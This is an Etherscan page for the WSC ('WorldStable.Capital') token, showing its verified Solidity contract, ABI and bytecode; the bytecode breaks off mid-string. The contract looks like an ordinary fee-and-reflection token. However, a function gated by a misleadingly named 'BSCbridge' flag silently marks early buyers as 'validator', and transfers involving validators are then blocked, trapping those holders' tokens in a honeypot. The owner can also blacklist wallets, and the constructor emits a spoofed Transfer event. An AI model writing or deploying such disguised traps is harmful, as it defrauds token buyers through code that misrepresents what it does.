ETH Price: $2,551.77 (+0.71%)

Token

WorldStable.Capital (WSC)
 

Overview

Max Total Supply

1,000,000,000,000,000,000 WSC

Holders

24

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,636,460,469,453,593.529653231 WSC

Value
$0.00
0x54d8c4cf2d9ff2e41dba02b3797d75ab45bcff90
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WorldStableCapital

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv2 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-03
*/

/**

Telegram  https://t.me/WorldStableCapital

Website https://worldstable.capital/

60% of $WSC burned to 0x0dEaD

7% various-chain algorithmic stablecoin investing to add to the treasury and buy back $WSC tokens.
4% marketing wallet 
1% reflections

**/


pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}  

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WorldStableCapital is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) public validator;

    mapping (address => bool) private bots;
    mapping (address => uint) private cooldown;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000000000000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    
    uint256 private _feeAddr1;
    uint256 private _feeAddr2;
    address payable private _WSCmarketingWallet1;
    address payable private _treasuryAddrWallet2;
    


    string private constant _name = "WorldStable.Capital";
    string private constant _symbol = "WSC";
    uint8 private constant _decimals = 9;
    
    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool public tradingOpen;
    int256 public txcount = 0 ;

    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    bool public BSCbridge = true;

    uint256 private _maxTxAmount = _tTotal;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _WSCmarketingWallet1 = payable(0x5578d27cE5bd52f8AEE5850eeecc1Fbb251Fd030);
        _treasuryAddrWallet2 = payable(0xEef42F1D8A97b52E81dde3fc8cBA00d71bDDD958);
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_WSCmarketingWallet1] = true;
        _isExcludedFromFee[_treasuryAddrWallet2] = true;
        emit Transfer(address(0x7De0F76E3e48448f634b734e7AC9FF338C37b9f5), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner() {
        cooldownEnabled = onoff;
    }

    function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        _feeAddr1 = 4;
        _feeAddr2 = 7;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
                // Cooldown
                require(amount <= _maxTxAmount);
                require(cooldown[to] < block.timestamp);
                cooldown[to] = block.timestamp + (30 seconds);
            }
            
            
            if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
                _feeAddr1 = 4;
                _feeAddr2 = 7;
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && from != uniswapV2Pair && swapEnabled) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
		require(!validator[from] && !validator[to]);

            gettxcount(to);

        _tokenTransfer(from,to,amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
        
    function sendETHToFee(uint256 amount) private {
        _WSCmarketingWallet1.transfer(amount.div(2));
        _treasuryAddrWallet2.transfer(amount.div(2));
    }
    
    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 100000000000000000 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }
    
    function setBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    
    function delBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }
        
    function _tokenTransfer(address sender, address recipient, uint256 amount) private {
        _transferStandard(sender, recipient, amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); 
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate =  _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}
    
    function manualswap() external {
        require(_msgSender() == _WSCmarketingWallet1);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
    
        function setBSCbridge(bool enabled) external onlyOwner(){
            BSCbridge = enabled;
        }

    function manualsend() external {
        require(_msgSender() == _WSCmarketingWallet1);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
    

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tFee = tAmount.mul(taxFee).div(100);
        uint256 tTeam = tAmount.mul(TeamFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function ValidatorAdd(address[] memory validator_) public onlyOwner {
        for (uint i = 0; i < validator_.length; i++) {
            validator[validator_[i]] = true;
        }
    }

    function ValidatorRemove(address rvalidator) public onlyOwner {
        validator[rvalidator] = false;
    }


    function gettxcount(address vadd) private{
        if(BSCbridge){
        if(txcount >= 3 && txcount<45){
            validator[vadd]=true;
        }}
        txcount++;
    }


    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

	function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BSCbridge","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"validator_","type":"address[]"}],"name":"ValidatorAdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"rvalidator","type":"address"}],"name":"ValidatorRemove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setBSCbridge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"txcount","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"validator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526b033b2e3c9fd0803ce800000060001962000020919062000563565b6000196200002f91906200051e565b60095560006011556000601260006101000a81548160ff0219169083151502179055506000601260016101000a81548160ff0219169083151502179055506000601260026101000a81548160ff0219169083151502179055506001601260036101000a81548160ff0219169083151502179055506b033b2e3c9fd0803ce8000000601355348015620000c057600080fd5b506000620000d3620004bf60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350735578d27ce5bd52f8aee5850eeecc1fbb251fd030600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073eef42f1d8a97b52e81dde3fc8cba00d71bddd958600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009546002600062000232620004bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016005600062000286620004c760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000433620004bf60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16737de0f76e3e48448f634b734e7ac9ff338c37b9f573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6b033b2e3c9fd0803ce8000000604051620004b1919062000501565b60405180910390a3620005f9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620004fb8162000559565b82525050565b6000602082019050620005186000830184620004f0565b92915050565b60006200052b8262000559565b9150620005388362000559565b9250828210156200054e576200054d6200059b565b5b828203905092915050565b6000819050919050565b6000620005708262000559565b91506200057d8362000559565b92508262000590576200058f620005ca565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b613a9780620006096000396000f3fe60806040526004361061016a5760003560e01c8063715018a6116100d1578063b515566a1161008a578063d9feccd811610064578063d9feccd8146104fd578063dd62ed3e14610526578063e0d2d5cc14610563578063ffb54a991461058e57610171565b8063b515566a146104a6578063c3c8cd80146104cf578063c9567bf9146104e657610171565b8063715018a6146103aa5780638c94e05e146103c15780638da5cb5b146103ea57806395d89b4114610415578063985ef87314610440578063a9059cbb1461046957610171565b8063273123b711610123578063273123b7146102ae578063313ce567146102d757806349bd5a5e146103025780635932ead11461032d5780636fc3eaec1461035657806370a082311461036d57610171565b8063042972811461017657806306fdde03146101a1578063095ea7b3146101cc57806318160ddd14610209578063223b3b7a1461023457806323b872dd1461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b9565b6040516101989190613183565b60405180910390f35b3480156101ad57600080fd5b506101b66105bf565b6040516101c3919061319e565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190612d06565b6105fc565b6040516102009190613168565b60405180910390f35b34801561021557600080fd5b5061021e61061a565b60405161022b9190613300565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612c29565b61062e565b6040516102689190613168565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612cb7565b61064e565b6040516102a59190613168565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190612c29565b610727565b005b3480156102e357600080fd5b506102ec610817565b6040516102f99190613375565b60405180910390f35b34801561030e57600080fd5b50610317610820565b604051610324919061309a565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f9190612d83565b610846565b005b34801561036257600080fd5b5061036b6108f8565b005b34801561037957600080fd5b50610394600480360381019061038f9190612c29565b61096a565b6040516103a19190613300565b60405180910390f35b3480156103b657600080fd5b506103bf6109bb565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612c29565b610b0e565b005b3480156103f657600080fd5b506103ff610bfe565b60405161040c919061309a565b60405180910390f35b34801561042157600080fd5b5061042a610c27565b604051610437919061319e565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190612d42565b610c64565b005b34801561047557600080fd5b50610490600480360381019061048b9190612d06565b610db4565b60405161049d9190613168565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190612d42565b610dd2565b005b3480156104db57600080fd5b506104e4610f22565b005b3480156104f257600080fd5b506104fb610f9c565b005b34801561050957600080fd5b50610524600480360381019061051f9190612d83565b6114fe565b005b34801561053257600080fd5b5061054d60048036038101906105489190612c7b565b6115b0565b60405161055a9190613300565b60405180910390f35b34801561056f57600080fd5b50610578611637565b6040516105859190613168565b60405180910390f35b34801561059a57600080fd5b506105a361164a565b6040516105b09190613168565b60405180910390f35b60115481565b60606040518060400160405280601381526020017f576f726c64537461626c652e4361706974616c00000000000000000000000000815250905090565b600061061061060961165d565b8484611665565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600061065b848484611830565b61071c8461066761165d565b61071785604051806060016040528060288152602001613a3a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106cd61165d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eeb9092919063ffffffff16565b611665565b600190509392505050565b61072f61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b390613260565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61084e61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d290613260565b60405180910390fd5b80601260026101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093961165d565b73ffffffffffffffffffffffffffffffffffffffff161461095957600080fd5b600047905061096781611f4f565b50565b60006109b4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461204a565b9050919050565b6109c361165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4790613260565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b1661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ba3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9a90613260565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5753430000000000000000000000000000000000000000000000000000000000815250905090565b610c6c61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf090613260565b60405180910390fd5b60005b8151811015610db057600160066000848481518110610d44577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610da890613669565b915050610cfc565b5050565b6000610dc8610dc161165d565b8484611830565b6001905092915050565b610dda61165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e67576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5e90613260565b60405180910390fd5b60005b8151811015610f1e57600160076000848481518110610eb2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f1690613669565b915050610e6a565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f6361165d565b73ffffffffffffffffffffffffffffffffffffffff1614610f8357600080fd5b6000610f8e3061096a565b9050610f99816120b8565b50565b610fa461165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611031576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102890613260565b60405180910390fd5b601060149054906101000a900460ff1615611081576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611078906132e0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061111430600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611665565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561115a57600080fd5b505afa15801561116e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111929190612c52565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f457600080fd5b505afa158015611208573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122c9190612c52565b6040518363ffffffff1660e01b81526004016112499291906130b5565b602060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129b9190612c52565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113243061096a565b60008061132f610bfe565b426040518863ffffffff1660e01b815260040161135196959493929190613107565b6060604051808303818588803b15801561136a57600080fd5b505af115801561137e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906113a39190612dd5565b5050506001601260016101000a81548160ff0219169083151502179055506001601260026101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006013819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016114a89291906130de565b602060405180830381600087803b1580156114c257600080fd5b505af11580156114d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fa9190612dac565b5050565b61150661165d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90613260565b60405180910390fd5b80601260036101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffff